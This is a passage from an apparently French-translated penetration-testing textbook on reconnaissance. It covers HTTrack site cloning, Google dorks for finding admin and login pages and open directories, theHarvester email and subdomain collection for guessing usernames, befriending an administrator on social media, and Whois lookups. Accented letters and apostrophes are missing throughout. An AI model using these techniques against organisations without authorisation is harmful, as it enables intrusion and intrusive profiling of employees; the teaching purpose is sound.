un million deuros pour tout aspirant hacker est : "Comment puis-je
passer du nom dune entreprise un accs aux systmes de son rseau ?"
Au dbut, nous ne savons pratiquement rien sur lentreprise. Nous ne
connaissons pas son site web, son adresse physique ni le nombre de ses
employs. Nous ne connaissons pas ses adresses IP publiques ni son
schma IP interne. Nous ne savons rien des technologies dployes, des
systmes dexploitation installs ni des dfenses mises en place.
La premire tape commence par une recherche dinformations
publiques ; certaines entreprises appellent cela ROSO (renseignement
dorigine source ouverte) ou, en anglais, OSINT (Open-Source
Intelligence). Dans la plupart des cas, nous pouvons rcolter une quantit
de donnes significatives sans envoyer un seul paquet vers la cible.
Signalons ce propos que certains outils ou techniques employs pour la
reconnaissance envoient des informations directement la cible. Il est
important de savoir distinguer les outils qui touchent la cible et ceux qui
ny touchent pas. Cette phase a deux objectifs principaux : premirement
recueillir autant dinformations que possible sur la cible et deuximement
trier toutes ces informations et crer une liste dadresses IP ou dURL
attaquables.
Au Chapitre 1, nous avons prcis que lautorisation accorde reprsente
la principale diffrence entre les black hat et les white hat. La premire
tape nous en montre un bon exemple. Les deux types de hackers
ralisent une reconnaissance exhaustive de leur cible, mais les pirates
nont pas de limites ni dautorisation.
Lorsque les hackers thiques effectuent leurs recherches, ils sont
contraints de rester dans les limites du test. Au cours de la collecte des
informations, il nest pas rare quun hacker dcouvre un systme
vulnrable reli la cible mais qui ne lui appartient pas. Mme si ce
systme peut fournir un accs lorganisme dorigine, sans autorisation
pralable le hacker thique sinterdira dutiliser ou dexplorer cette
option. Par exemple, supposons que vous meniez un test dintrusion sur
une entreprise et que vous dterminiez que son serveur web (qui contient
les donnes des clients) fasse lobjet dune sous-traitance. Si vous
identifiez une vulnrabilit importante sur le site web du client alors que
vous ntes pas explicitement autoris le tester et lutiliser, vous devez
lignorer. Les pirates ne sont pas contraints par de telles rgles et vont
employer tous les moyens possibles pour accder aux systmes de la
cible. Dans la plupart des cas, puisque vous ntes pas autoris tester ni
examiner ces systmes externes, vous ne pourrez pas fournir un grand
nombre de dtails. Cependant, votre rapport final doit inclure autant
dinformations que possible sur les systmes qui, votre avis, font peser
des risques sur lentreprise.
Info
En tant que testeur dintrusion, lorsque vous dcouvrez des risques qui
sortent de ltendue de votre accord, vous devez faire tout votre possible
pour obtenir lautorisation dtendre celle-ci. Cela vous demandera
souvent de travailler troitement avec votre client et ses fournisseurs afin
dexpliquer correctement les risques potentiels.
Pour russir la phase de reconnaissance, nous devons mettre en place une
stratgie. Pratiquement toutes les facettes de la collecte dinformations
exploitent la puissance dInternet. Une stratgie classique comprend une
reconnaissance active et une reconnaissance passive.
La reconnaissance active demande une interaction directe avec la cible.
Notez que, au cours de ce processus, la cible peut enregistrer votre
adresse IP et consigner vos actions. Elles ont donc de fortes chances
dtre dtectes, mme si vous tentez de raliser un test dintrusion de
faon furtive.
La reconnaissance passive se fonde sur les informations disponibles sur le
Web. Au cours de ce travail, nous ninteragissons pas directement avec
la cible, qui na donc aucun moyen de connatre, denregistrer ou de
consigner nos actions.
Nous lavons expliqu, lobjectif de la reconnaissance est de recueillir
autant dinformations que possible sur la cible. ce stade du test
dintrusion, aucun dtail ne doit tre ignor, aussi inoffensif quil puisse
paratre. Il est important de conserver les donnes recueillies dans un lieu
central. Lorsque cest possible, il est prfrable de les mmoriser sous
une forme lectronique. Cela permettra deffectuer ultrieurement des
recherches rapides et prcises. Chaque hacker est diffrent et certains
prfrent imprimer les informations obtenues. Chaque feuille de papier
doit tre soigneusement classe et place dans un dossier. Si vous adoptez
la solution papier, prenez soin dorganiser minutieusement vos donnes.
Pour une seule cible, il est possible darriver rapidement plusieurs
centaines de pages.
En gnral, la premire activit consiste trouver le site web de
lentreprise. Dans notre exemple, nous allons utiliser un moteur de
recherche pour obtenir des informations sur "Syngress".
Attention
Mme si nous avons discut prcdemment de limportance de la
cration et de lutilisation dun "laboratoire de hacking isol" afin dviter
que du trafic ne sorte du rseau, la mise en place de la reconnaissance
exige une connexion Internet active. Si vous souhaitez suivre les
exemples de ce chapitre et employer les outils dcrits, vous devrez
connecter votre machine dattaques Internet.
HTTrack
La premire phase dbute souvent par un examen minutieux du site web
de la cible. Dans certains cas, nous pouvons nous servir de loutil
HTTrack pour effectuer une copie de toutes les pages du site. Cet
utilitaire gratuit est capable de gnrer une copie consultable hors
connexion du site web cible. Cette copie comprendra lensemble des
pages, liens, images et code du site dorigine, mais elle rsidera sur
lordinateur local. Grce aux outils daspiration de sites web comme
HTTrack, nous pouvons explorer et fouiller de fond en comble le site
web hors connexion, sans avoir passer du temps nous balader sur le
serveur web de lentreprise.
Info
Vous devez bien comprendre que plus vous passez du temps naviguer
et explorer le site web de la cible, plus vos actions pourront tre
repres et suivies (mme si vous vous contentez de parcourir le site).
Noubliez pas que chaque fois que vous interagissez directement avec
une ressource dtenue par la cible, il est possible que vous laissiez une
empreinte digitale numrique.
Les testeurs dintrusion expriments se servent galement doutils
automatiques pour extraire des informations supplmentaires ou caches
partir dune copie locale du site web.
HTTrack est disponible en tlchargement sur le site web ladresse
http://www.httrack.com/. Dans le cas de la version Windows, il suffit de
rcuprer le fichier dinstallation et de lancer son excution. Si vous
souhaitez installer HTTrack sur Kali ou votre machine dattaque sous
Linux, connectez-vous Internet, comme nous lavons expliqu au
Chapitre 1, ouvrez une fentre de terminal et saisissez la commande
suivante :
apt-get install httrack
Notez quil existe galement une version graphique de HTTrack, mais,
pour le moment, nous allons nous limiter la version en ligne de
commande. Si vous prfrez une interface graphique, vous pourrez
toujours linstaller ultrieurement.
Aprs que le programme a t install, vous pouvez le lancer en ouvrant
une fentre de terminal et en excutant la commande suivante :
httrack
Vous devez comprendre que le clonage dun site web est facile reprer
et que cette activit est considre comme fortement offensive. Nutilisez
jamais HTTrack sans autorisation pralable. Aprs son dmarrage, cet
outil pose une suite de questions avant de procder la copie du site. Pour
y rpondre, il suffit en gnral dappuyer sur la touche Entre. Vous
devez toutefois saisir un nom de projet et lURL du site copier. Prenez
le temps de lire chaque question avant daccepter systmatiquement la
valeur par dfaut. Lorsque le questionnaire est termin, saisissez Y pour
lancer le clonage. Le temps ncessaire lopration dpendra de la taille
du site web. Noubliez pas que vous devez disposer sur votre ordinateur
local dun espace disque suffisant pour contenir lintgralit du site cible.
Les plus grands peuvent en demander une quantit trs importante.
Vrifiez toujours la place disponible avant de dmarrer lopration de
copie.
Aprs que HTTrack a termin la copie, il affiche sur le terminal un
message indiquant que lopration est acheve et vous remerciant davoir
utilis HTTrack. Si vous utilisez Kali et avez accept les options par
dfaut, HTTrack place le site clon dans le rpertoire
/root/websites/nom_du_projet. Vous pouvez prsent lancer Firefox et
saisir /root/websites/nom_du_projet dans le champ dadresse.
nom_du_projet doit tre remplac par le nom que vous avez indiqu lors
de la configuration de lopration de copie. Dans le navigateur, vous
pouvez manipuler le site web copi en cliquant sur les liens. Le fichier
index.html constitue gnralement un bon point de dpart.
Firefox est disponible partir du bureau, dans le menu des applications.
Vous pouvez galement ouvrir un terminal et excuter la commande
suivante :
firefox
Que vous fassiez une copie du site web ou que vous le parcouriez
simplement en temps rel, il est important de faire attention aux dtails.
Vous devez examiner attentivement toutes les informations que vous
dcouvrez sur le site web de la cible et les enregistrer. Bien souvent, une
navigation un peu approfondie conduira des dcouvertes intressantes,
comme une adresse et des emplacements physiques, des numros de
tlphone, des adresses lectroniques, des horaires douverture, des
relations professionnelles (partenaires), des noms demploys, les
connexions aux mdias sociaux et dautres donnes publiques.
Lors dun test dintrusion, il est important de prter attention certains
lments, comme les actualits et les annonces. Les entreprises sont
souvent fires de leurs prouesses et laissent filer par mgarde des
informations dans les articles. Les fusions et les acquisitions dentreprises
peuvent galement fournir des donnes intressantes, notamment pour
augmenter ltendue du test dintrusion et lui ajouter des cibles
supplmentaires. Mme la plus petite acquisition faite en douceur peut
crer des changements et des dsordres dans une organisation. Il existe
toujours une priode de transition lors de la fusion dentreprises. Elle nous
donne des opportunits uniques de tirer parti des changements et de la
confusion. Mme si une fusion est ancienne ou sest faite sans difficult,
linformation a toujours une valeur en dsignant des cibles
supplmentaires. Les entreprises fusionnes ou associes doivent tre
autorises et incluses dans la liste des cibles, car elles constituent une
passerelle potentielle vers le client.
Enfin, il est important de rechercher et dexaminer les offres demploi
technique proposes par la socit cible. En effet, elles dvoilent souvent
des informations trs dtailles sur les technologies mises en uvre au
sein de la socit. Vous pourrez notamment y voir mentionns du matriel
et du logiciel spcifiques. Noubliez pas de rechercher la cible dans les
offres demploi postes ailleurs. Par exemple, supposons que vous
trouviez une annonce pour un poste dadministrateur rseau qui doit
possder une exprience sur les appareils Cisco ASA. Vous pouvez
immdiatement en conclure plusieurs choses. Tout dabord, vous tes
certain que lentreprise utilise ou envisage dutiliser un pare-feu Cisco
ASA. Ensuite, en fonction de la taille de la socit, vous pouvez en
dduire quaucun de ses employs nest en mesure dutiliser et de
configurer correctement un pare-feu Cisco ASA, ou que la personne
comptente va sen aller. Dans les deux cas, vous avez obtenu des
informations intressantes sur les technologies en place.
Aprs lexamen minutieux du site web de la cible, nous devons avoir une
bonne connaissance de celle-ci, notamment qui elle est, ce quelle fait, o
elle se trouve et quelles technologies elle emploie.
Arms de ces informations de base, nous pouvons passer une
reconnaissance passive. Pour une entreprise, il est trs difficile, voire
impossible, de dterminer si un hacker ou un testeur dintrusion effectue
une telle reconnaissance. Cette activit prsente un risque faible pour
lassaillant, alors quelle peut se rvler trs enrichissante. Rappelons
quune reconnaissance passive se fait sans envoyer un seul paquet vers
les systmes de la cible. Pour cette opration, notre arme de prdilection
est videmment Internet. Nous commenons par effectuer des
recherches exhaustives de la cible dans les diffrents moteurs existants.
Les bons moteurs de recherche disponibles aujourdhui sont nombreux,
mais, pour la prsentation des bases du hacking et des tests dintrusion,
nous allons nous limiter Google. Celui-ci fait vraiment un bon travail ;
cest pourquoi le cours de laction de lentreprise est si lev. Ses robots
fouillent sans relche les moindres recoins dInternet afin de cataloguer
toutes les informations trouves. Ils sont si efficaces que les hackers
parviennent parfois mener un test dintrusion complet en utilisant
uniquement Google.
Lors de la confrence Defcon 13, Johnny Long a branl la communaut
des hackers en donnant une session intitule "Google Hacking for
Penetration Testers". Elle a t suivie de la publication dun ouvrage qui
allait encore plus loin dans lart du hacking Google.
Info
Si vous vous intressez aux tests dintrusion, nous vous conseillons
fortement de visionner la vido de Johnny Long et dacheter son ouvrage.
La vido est disponible gratuitement en ligne (consultez les archives
multimdias de Defcon ladresse http://www.defcon.org/html/links/dc-
archives.html). Le livre est publi par Syngress et disponible dans toutes
les bonnes librairies. Le travail de Johnny a chang jamais le monde des
tests dintrusion et de la scurit. Le contenu prsent est incroyable et
vaut la peine dtre lu.
Nous nallons pas entrer dans les spcificits du hacking Google, mais
une bonne comprhension de la manire dutiliser correctement ce
moteur est indispensable pour devenir un expert des tests dintrusion. Si
vous posez quelquun la question "comment utilises-tu Google ?", il
rpond gnralement par "cest simple, je lance mon navigateur web, je
me rends sur la page daccueil de Google et je saisis les termes dans le
champ de recherche".
Bien que cette rponse soit pertinente pour 99 % des internautes, elle ne
suffit pas pour les aspirants hackers et testeurs dintrusion. Ils doivent
apprendre effectuer des recherches de manire plus intelligente et
mieux exploiter les rsultats obtenus. En matrisant les moteurs de
recherche comme Google, vous gagnerez du temps et vous pourrez
trouver les joyaux qui se cachent dans les milliards de pages web
accessibles sur Internet.
Oprateurs Google
Nous avons de la chance, Google nous donne accs des "oprateurs"
faciles demploi qui nous aideront exploiter au mieux nos recherches.
Ces oprateurs correspondent des mots cls grce auxquels nous
pouvons extraire de faon plus prcise des informations partir de
lindex Google.
Supposons par exemple que vous vouliez rechercher sur le site web de
luniversit de ltat du Dakota (dsu.edu) des informations me
concernant. La solution la plus simple consiste saisir les termes suivants
dans le champ de recherche de Google : pat engebretson dsu. Cette
recherche va produire plusieurs rsultats, mais, au moment de lcriture
de ces lignes, seuls quatre des dix premiers sites web sont en lien avec
celui de DSU (Dakota State University).
Grce aux oprateurs Google, nous pouvons influencer lindex Google.
Dans lexemple prcdent, nous connaissons la fois le site web cible et
les mots cls rechercher. Plus prcisment, nous voulons obliger Google
retourner uniquement les rsultats qui proviennent du domaine de la
cible (dsu.edu). Dans ce cas, loprateur site : est notre meilleur ami. En
effet, il demande Google de retourner uniquement les rsultats qui
correspondent aux termes indiqus et qui proviennent directement du site
web prcis.
Pour utiliser un oprateur Google, nous devons indiquer les trois lments
suivants :
1. le nom de loprateur ;
2. des deux-points ;
3. le terme utiliser dans loprateur.
Aprs avoir saisi les trois lments dinformation prcdents, nous
pouvons effectuer une recherche normale. Pour utiliser loprateur site:,
nous devons saisir la ligne suivante dans le champ de recherche de
Google :
site:domaine terme(s) rechercher
Vous remarquerez quaucune espace ne se trouve entre loprateur, les
deux points et le domaine. Pour reprendre notre exemple prcdent, nous
voulons mener une recherche concernant Pat Engebretson sur le site web
de DSU. Pour cela, nous saisissons la commande suivante dans le champ
de recherche de Google :
site:dsu.edu pat engebretson
Les rsultats de cette recherche sont trs diffrents de la prcdente.
Tout dabord, nous avons rduit le nombre de rsultats : de plus de
30 000, nous arrivons 147. La liste est plus facile grer, car une
personne aura moins de difficults extraire des informations partir de
147 rsultats qu partir de 30 000. Ensuite, et cest probablement le plus
important, chaque rsultat obtenu provient directement du site web cible.
Grce loprateur site:, nous pouvons effectuer une recherche sur une
cible particulire, pour ensuite trouver des informations complmentaires.
Il nous permet de focaliser notre recherche et de ne pas tre submerg
par les rsultats.
Attention
Vous devez savoir que les recherches avec Google ne sont pas sensibles
la casse. Par consquent, "pat", "Pat" et "PAT" produiront exactement
les mmes rsultats.
Les oprateurs intitle: et allintitle: sont galement trs intressants. En les
ajoutant une recherche, seuls les sites web dont les titres des pages
comprennent les termes indiqus sont retourns. Avec allintitle:, seuls les
sites dont les titres des pages comprennent tous les termes sont retourns.
Avec loprateur intitle:, les pages dont les titres comprennent au moins
lun des termes saisis sont retournes.
Voici un exemple classique de recherche Google avec loprateur
allintitle: :
allintitle:index of
Elle permet dobtenir la liste de tous les rpertoires qui ont t indexs et
qui sont accessibles au travers du serveur web. Cela constitue souvent un
bon point de dpart pour effectuer une reconnaissance sur la cible.
Si nous voulons rechercher les sites dont les URL comprennent des mots
prcis, nous avons notre disposition loprateur inurl:. Nous pouvons par
exemple mettre la commande suivante pour localiser des pages
potentiellement intressantes sur la cible :
inurl:admin
Cette recherche pourra se rvler extrmement utile car elle permet de
rvler des pages dadministration ou de configuration sur le site web de
la cible.
Il peut galement tre trs intressant deffectuer des recherches dans le
cache de Google plutt que sur le site web de la cible. Cette approche
non seulement permet de rduire notre empreinte numrique sur le
serveur de la cible (nous sommes plus difficiles dtecter) mais nous
fournit galement lopportunit de consulter des pages web et des fichiers
qui ont t retirs du site web officiel. Le cache de Google mmorise une
copie pure de chaque site web qui a t examin par ses robots. Il est
important de comprendre que le cache contient la fois le code qui a
servi la construction du site et les nombreux fichiers qui ont t
dcouverts au cours de lanalyse. Il peut sagir de fichiers PDF, de
documents Microsoft Office, de fichiers texte, etc.
Aujourdhui, il nest pas rare que des informations soient places par
erreur sur Internet. Supposons par exemple que vous soyez
ladministrateur rseau dune entreprise. Vous utilisez Microsoft Excel
pour crer un classeur qui contient toutes les adresses IP, les noms et les
emplacements des PC dans votre rseau. Au lieu de transporter ce
document Excel avec vous, vous dcidez de le publier sur lintranet de
lentreprise afin quil soit accessible uniquement par son personnel.
Cependant, au lieu de le placer sur lintranet, vous le publiez par erreur
sur le site web public de la socit. Si les robots de Google analysent
votre site avant que vous ne retiriez le document, il est possible que celui-
ci rside dans le cache de Google mme aprs que vous avez supprim le
fichier de votre site. Voil pourquoi il est important deffectuer des
recherches dans le cache de Google.
Loprateur cache: permet de limiter les rsultats de recherche et de ne
prsenter que les informations extraites directement du cache de Google.
Lexemple suivant retourne la version de la page daccueil de Syngress
qui se trouve dans le cache :
cache:syngress.com
Si nous cliquons sur lune des URL obtenues, nous arrivons non pas sur la
version qui existe dans le cache mais sur le site web actif. Pour consulter
les pages mmorises dans le cache, il faut modifier la recherche.
Le dernier oprateur mentionn dans cette section se nomme filetype:.
Nous pouvons nous en servir pour prciser des extensions de fichiers et
donc pour rechercher des types de fichiers sur le site web de la cible. Par
exemple, pour obtenir uniquement les rsultats qui concernent des
documents PDF, saisissez la commande suivante :
filetype:pdf
Cet oprateur sera trs utile pour trouver des liens vers des fichiers
particuliers, comme ceux qui ont lextension .doc, .xlsx, .ppt, .txt ou
autres. Nos possibilits sont presque sans limites.
Pour une plus grande souplesse, il est possible de combiner plusieurs
oprateurs dans la mme recherche. Par exemple, voici comment
rechercher toutes les prsentations PowerPoint sur le site web de DSU :
site:dsu.edu filetype:ppt
Chaque rsultat retourn correspond un fichier PPT qui provient
directement du domaine dsu.edu. La Figure 2.1 illustre les rsultats de
deux recherches. La premire utilise les oprateurs Google, tandis que la
seconde correspond une recherche classique. Les oprateurs Google
permettent de rduire normment le nombre de rsultats (de 211 955).
Figure 2.1
Illustration de la puissance des oprateurs de Google.

Le hacking Google est parfois appel "Google Dork". Lorsquune
application souffre dune vulnrabilit prcise, les hackers et les
chercheurs en scurit placent gnralement un Google Dork dans
lexploit, ce qui nous permet de rechercher des versions vulnrables en
utilisant Google. Le site web Exploit Database, qui est maintenu par les
crateurs de BackTrack et de Kali Linux (Offensive-Security), propose
une longue liste de Google Dork et des techniques de hacking Google
supplmentaires. Rendez-vous lURL http://www.exploit-db.com et
cliquez sur le bouton GHDB (Google Hacking Database), comme le
montre la Figure 2.2.
Figure 2.2
Le bouton GHDB qui mne la base de donnes du hacking Google.
Vous pouvez choisir ce qui vous intresse (voir Figure 2.3) et utiliser le
vaste contenu du site web exploit-db.com pour vous aider dans vos
objectifs.
Figure 2.3
Slectionner une catgorie de la base de donnes GHDB.
Voici une autre recherche qui pourra produire des informations
intressantes :
inurl:login
Elle peut galement se faire avec les termes suivants :
Logon
Signin
Signon
Forgotpassword
Forgot
Reset
Nous pourrons ainsi trouver des pages douverture de session ou
similaires qui peuvent proposer du contenu dynamique. Des vulnrabilits
se cachent souvent dans ce type de pages.
La recherche suivante produit une liste des rpertoires quil est possible
de parcourir afin den consulter le contenu :
site:syngress.com intitle:"index of"
Une telle vulnrabilit est absente du site de Syngress, mais cette mthode
est souvent employe pour rechercher des fichiers supplmentaires qui
ne sont normalement pas accessibles au travers des pages web.
Il existe de nombreux autres oprateurs et hacks Google avec lesquels
vous devez vous familiariser. Il est galement important que vous vous
intressiez aux autres moteurs de recherche que Google. En effet,
chaque moteur peut produire des rsultats diffrents, mme pour des
termes identiques. En tant que testeur dintrusion qui mne une
reconnaissance, vous devez tre aussi rigoureux que possible. Vous serez
rcompens par le temps que vous passerez apprendre exploiter au
mieux les possibilits de recherche de Yahoo, Bing, Ask, Dogpile et les
autres.
Enfin, vous devez savoir que ces recherches passives le resteront
uniquement pendant les recherches. Si vous vous connectez au systme
cible (en cliquant sur lun des liens du rsultat), vous repassez en mode
actif. Une reconnaissance active sans autorisation pralable peut tre
considre comme une activit illgale.
Aprs que nous avons examin minutieusement la page web de la cible et
men des recherches exhaustives avec Google et dautres moteurs de
recherche, il est important dexplorer dautres recoins dInternet. Les
groupes de nouvelles et les BBS (Bulletin Board System) comme UseNet
et Google Groupes peuvent se rvler trs utiles lors du recueil
dinformations sur la cible. Les forums daide, les systmes de discussion
et les fonctions de chat en direct avec un reprsentant de la socit
peuvent recler des informations intressantes. Il nest pas rare que des
personnes se servent des forums daide et de discussion pour publier et
recevoir de laide sur des problmes techniques. Malheureusement (ou
heureusement selon le point de vue), les questions poses par les
employs sont souvent trs dtailles, avec des informations sensibles et
confidentielles. Supposons quun administrateur rseau rencontre des
difficults configurer correctement son pare-feu. Sur les forums
publics, il arrive souvent de trouver des discussions au cours desquelles
ces administrateurs postent des sections entires de leur fichier de
configuration sans les censurer. Pire encore, les billets sont publis en
utilisant ladresse lectronique de la socit. Ces informations sont une
vritable mine dor pour nimporte quel pirate.
Mme si ladministrateur rseau est suffisamment intelligent pour ne pas
fournir tous les dtails de la configuration, il est difficile dobtenir laide
de la communaut sans laisser involontairement fuiter quelques
informations. En lisant des billets pourtant soigneusement rdigs, il est
possible dobtenir des donnes sur la version prcise dun logiciel, les
modles de matriels, la configuration courante et dautres donnes
internes aux systmes. Tout cela doit tre mis de ct pour une future
utilisation au cours du test dintrusion.
Les forums publics constituent une excellente manire de partager des
informations et de recevoir une aide technique. Cependant, si vous
utilisez ces ressources, faites attention employer une adresse de
courrier lectronique relativement anonyme, par exemple sur Gmail ou
Hotmail, la place de votre adresse professionnelle.
La croissance explosive des rseaux sociaux, comme Facebook et
Twitter, ouvre de nouvelles portes vers des donnes sur les cibles. Au
cours dune reconnaissance, il est bon demployer ces sites notre
avantage. Prenons un exemple fictif qui consiste mener un test
dintrusion sur une petite entreprise. Votre reconnaissance vous a permis
de dcouvrir que son administrateur rseau dispose dun compte Twitter,
Facebook et Steam. Grce une petite ingnierie sociale, vous devenez
ami avec ladministrateur peu mfiant et le suivez sur Facebook et
Twitter. Aprs quelques semaines de billets plus ennuyeux les uns que les
autres, vous gagnez le jackpot. Il envoie sur Facebook le message
suivant : "Super ! Le pare-feu a grill aujourdhui sans prvenir
personne. Un nouveau va nous tre envoy pendant la nuit. Je sens que
demain sera une longue journe tout remettre en place."
Un autre exemple pourrait tre un technicien qui publie : "Jai eu un
problme avec le dernier correctif de Microsoft. Jai d le dsinstaller. Je
les appellerai au cours de la matine."
Vous pourriez galement voir arriver un message comme : "Je viens de
terminer le prochain budget annuel. Jai limpression que je vais rester
encore un an avec ce serveur Win2K."
Bien que ces exemples puissent sembler un tantinet tirs par les cheveux,
vous seriez surpris de constater la quantit dinformations que vous
pouvez recueillir en surveillant simplement ce que les employs publient
en ligne.
The Harvester
Pendant la phase de reconnaissance, loutil The Harvester se rvlera
trs utile. Il sagit dun simple script Python trs efficace crit par
Christian Martorella chez Edge Security. Il permet de cataloguer
rapidement et prcisment les adresses de courrier lectronique et les
sous-domaines directement lis la cible.
Il est important de toujours utiliser la dernire version de The Harvester
car de nombreux moteurs de recherche actualisent et modifient
rgulirement leurs systmes. Mme une modification subtile dans le
comportement dun moteur de recherche peut rendre inoprants les outils
automatiss. Dans certains cas, les moteurs de recherche filtrent les
rsultats avant de renvoyer les informations. Ils sont galement nombreux
mettre en place des techniques de limitation qui tentent dempcher les
recherches automatises.
The Harvester peut tre employ avec les serveurs de Google, Bing et
PGP afin de rechercher des adresses lectroniques, des htes et des sous-
domaines. Il est galement compatible avec LinkedIn pour les noms
dutilisateurs. La plupart des gens pensent que leur adresse de courrier
lectronique prsente peu dintrt. Nous avons dj expliqu les dangers
de publier des messages sur les forums publics en utilisant une adresse de
messagerie professionnelle, mais il existe bien dautres risques.
Supposons que, au cours de la reconnaissance, vous dcouvriez ladresse
lectronique dun employ qui travaille pour lentreprise cible. En
manipulant les informations places avant le signe "@", nous pouvons
gnrer des noms dutilisateurs rseau potentiels. Il nest pas rare que les
entreprises utilisent les mmes noms dutilisateurs au sein de leur rseau
et dans les adresses lectroniques. Nous pourrons nous en servir pour
tenter des accs exhaustifs certains services, comme SSH, VPN ou FTP,
que nous dcouvrirons au cours de la deuxime phase (les scans).
The Harvester est intgr Kali. La faon la plus rapide dy accder
consiste ouvrir une fentre de terminal et excuter la commande
theharvester. Si vous avez besoin du chemin complet du programme et si
vous utilisez Kali, The Harvester, comme pratiquement tous les autres
outils, se trouve dans le rpertoire /usr/bin/. Toutefois, noubliez pas que
lun des principaux avantages de Kali est quil est inutile de prciser le
chemin complet pour excuter ces outils. Il suffit douvrir le terminal et
dentrer la commande de lancement correspondante :
theharvester
Vous pouvez galement prciser lintgralit du chemin :
/usr/bin/theharvester
Si vous avez choisi une distribution autre que BackTrack ou Kali, ou si
vous ne trouvez pas loutil qui vous intresse dans le rpertoire indiqu,
servez-vous de la commande locate pour vous aider le rechercher.
Avant dinvoquer cette commande, vous devez lancer updatedb. Pour
rechercher lendroit o est install The Harvester sur votre systme,
ouvrez une fentre de terminal et saisissez la commande suivante :
updatedb
Suivie de :
locate theharvester
La commande locate peut tre trs verbeuse, mais un examen attentif de
la liste vous aidera dterminer lemplacement de loutil. Nous lavons
mentionn prcdemment, sur Kali, la plupart des outils pour les tests
dintrusion se trouvent dans un sous-rpertoire de /usr/bin/.
Attention
Si vous utilisez un systme dexploitation autre que Kali, vous pouvez
tlcharger loutil directement sur le site dEdge Security ladresse
http://www.edge-security.com. Extrayez ensuite le contenu du fichier tar
en excutant la commande suivante depuis le terminal :
tar xf theHarvester
Notez le "H" en majuscule. Puisque Linux est sensible la casse,
"theHarvester" et "theharvester" ne sont pas quivalents. Faites attention
au nom du fichier excutable pour savoir si vous devez utiliser un "h"
majuscule ou minuscule. En cas derreur, un message vous indiquera
gnralement que le fichier ou le rpertoire na pas t trouv. Revoyez
alors lorthographe du nom du fichier.
Que vous ayez tlcharg The Harvester ou que vous utilisiez la version
dj installe sur la machine dattaque, cet outil vous servira recueillir
des informations complmentaires sur la cible. Excutez la commande
suivante :
theharvester d syngress.com l 10 b google
Elle recherche les adresses de messagerie, les sous-domaines et les htes
qui appartiennent syngress.com. La Figure 2.4 illustre les rsultats
obtenus.
Figure 2.4
Sortie produite par The Harvester.
Avant de nous intresser aux rsultats fournis par loutil, examinons de
plus prs la ligne de commande. theharvester invoque loutil. Loption -d
permet de prciser le domaine cible. Loption -l (un L minuscule, non le
chiffre 1) permet de limiter le nombre de rsultats renvoys. Dans notre
exemple, nous demandons loutil de renvoyer uniquement dix rsultats.
Loption -b prcise le rpertoire public dans lequel se fait la recherche.
Nous avons plusieurs choix, notamment Google, Bing, PGP, LinkedIn et
dautres ; dans notre exemple, nous avons pris Google. Si vous ntes pas
certain de la source de donnes employer, loption -b all permet
deffectuer la recherche dans tous les rfrentiels reconnus.
Puisque la commande dexcution de loutil est prsent comprise,
tudions les rsultats obtenus.
Vous le constatez, The Harvester a russi trouver plusieurs adresses de
courrier lectronique qui pourraient nous intresser. Il a galement
dcouvert deux sous-domaines, booksite.syngress.com et
www.syngress.com, qui doivent faire lobjet dune reconnaissance
complte. Nous les ajoutons notre liste de cibles et reprenons la
procdure de reconnaissance.
La phase 1 de reconnaissance est trs cyclique car elle mne souvent la
dcouverte de nouvelles cibles qui, leur tour, demandent une
reconnaissance supplmentaire. Le temps pass cette opration peut
donc aller de quelques heures plusieurs semaines. Noubliez pas quun
hacker malveillant dtermin non seulement comprend la puissance
dune bonne reconnaissance mais a galement souvent la possibilit dy
consacrer un temps illimit. En tant quaspirant testeur dintrusion, vous
devez passer autant de temps que possible pratiquer et mener la
collecte dinformations.
Whois
Pour recueillir des informations supplmentaires sur une cible, une
solution trs simple mais efficace consiste employer Whois. Ce service
nous permet daccder des informations prcises sur la cible,
notamment les adresses IP ou les noms dhtes des serveurs DNS
(Domain Name System) de la socit, ainsi qu des informations de
contact qui comprennent gnralement une adresse et un numro de
tlphone.
Whois est intgr au systme dexploitation Linux. Pour lutiliser, il suffit
douvrir une fentre de terminal et dexcuter la commande suivante :
whois domaine_cible
Par exemple, pour obtenir des informations sur Syngress, saisissez whois
syngress.com. La Figure 2.5 montre une partie de la sortie gnre par
cette commande.
Figure 2.5
Une partie des rsultats produits par une requte Whois.
Il est important de conserver toutes ces informations et de prter une
attention particulire aux serveurs DNS. Si les rsultats prsentent
uniquement les noms des serveurs, comme cest le cas la Figure 2.5,
nous utiliserons la commande host pour les convertir en adresses IP (nous
y reviendrons la section suivante). La recherche Whois est galement
possible avec un navigateur web. Il suffit daller ladresse
http://www.whois.net et dindiquer la cible dans le champ de saisie (voir
Figure 2.6).
Figure 2.6
Whois.net, un outil de recherche Whois sur le Web.
Examinez attentivement les informations prsentes. Il peut arriver que
les rsultats donnent peu de dtails. Dans ce cas, il est souvent possible de
les trouver en interrogeant les serveurs Whois indiqus dans la sortie de
la recherche initiale. La Figure 2.7 en montre un exemple.
Figure 2.7
La sortie de Whois permet de savoir o rechercher des dtails
supplmentaires.
Si le serveur est indiqu, nous pouvons effectuer une nouvelle recherche
Whois en utilisant le lien indiqu dans le champ Referral URL. Il faudra
parcourir la page web la recherche du lien correspondant vers le
service Whois. Grce celui fourni par Safename, nous obtenons de
nombreuses informations complmentaires :
The Registry database contains ONLY .COM, .NET, .EDU
domains and
Registrars.[whois.safenames.net]
Safenames Experts in Global Domain Management and Online
Brand Protection

Domain Name: SYNGRESS.COM

[REGISTRANT]

Organisation
Name:
Elsevier Ltd

Contact
Name:
Domain Manager

Address
Line 1:
The Boulevard

Address
Line 2:
Langford Lane, Kidlington
City / Town: Oxfordshire

State /
Province:


Zip /
Postcode:
OX5 1GB
Country: UK
Telephone: +44.1865843830
Fax: +44.1865853333
Email: domainsupport@elsevier.com
[ADMIN]

Organisation
Name:
Safenames Ltd

Contact
Name:
International Domain
Administrator

Address
Line 1:
Safenames House, Sunrise
Parkway

Address
Line 2:

City / Town: Milton Keynes

State /
Province:
Bucks

Zip /
Postcode:
MK14 6LS
Country: UK
Telephone: +44.1908200022
Fax: +44.1908325192
Email: domainsupport@elsevier.com
[TECHNICAL]

Organisation
Name:
International Domain Tech

Contact
Name:
International Domain Tech

Address
Line 1:
Safenames House, Sunrise
Parkway

Address
Line 2:

City / Town: Milton Keynes

State /
Province:
Bucks

Zip /
Postcode:
MK14 6LS
Country: UK
Telephone: +44.1908200022
Fax: +44.1908325192
Email: tec@safenames.net
Netcraft
Netcraft constitue une autre excellente source dinformations. Son site est
accessible ladresse http://news.netcraft.com. Pour commencer,
saisissez votre cible dans le champ Whats that site Running? (voir
Figure 2.8).
Figure 2.8
Le champ de recherche de Netcraft.
Netcraft renvoie tous les sites web quil connat et qui comprennent les
mots recherchs. Dans notre exemple, nous obtenons trois sites :
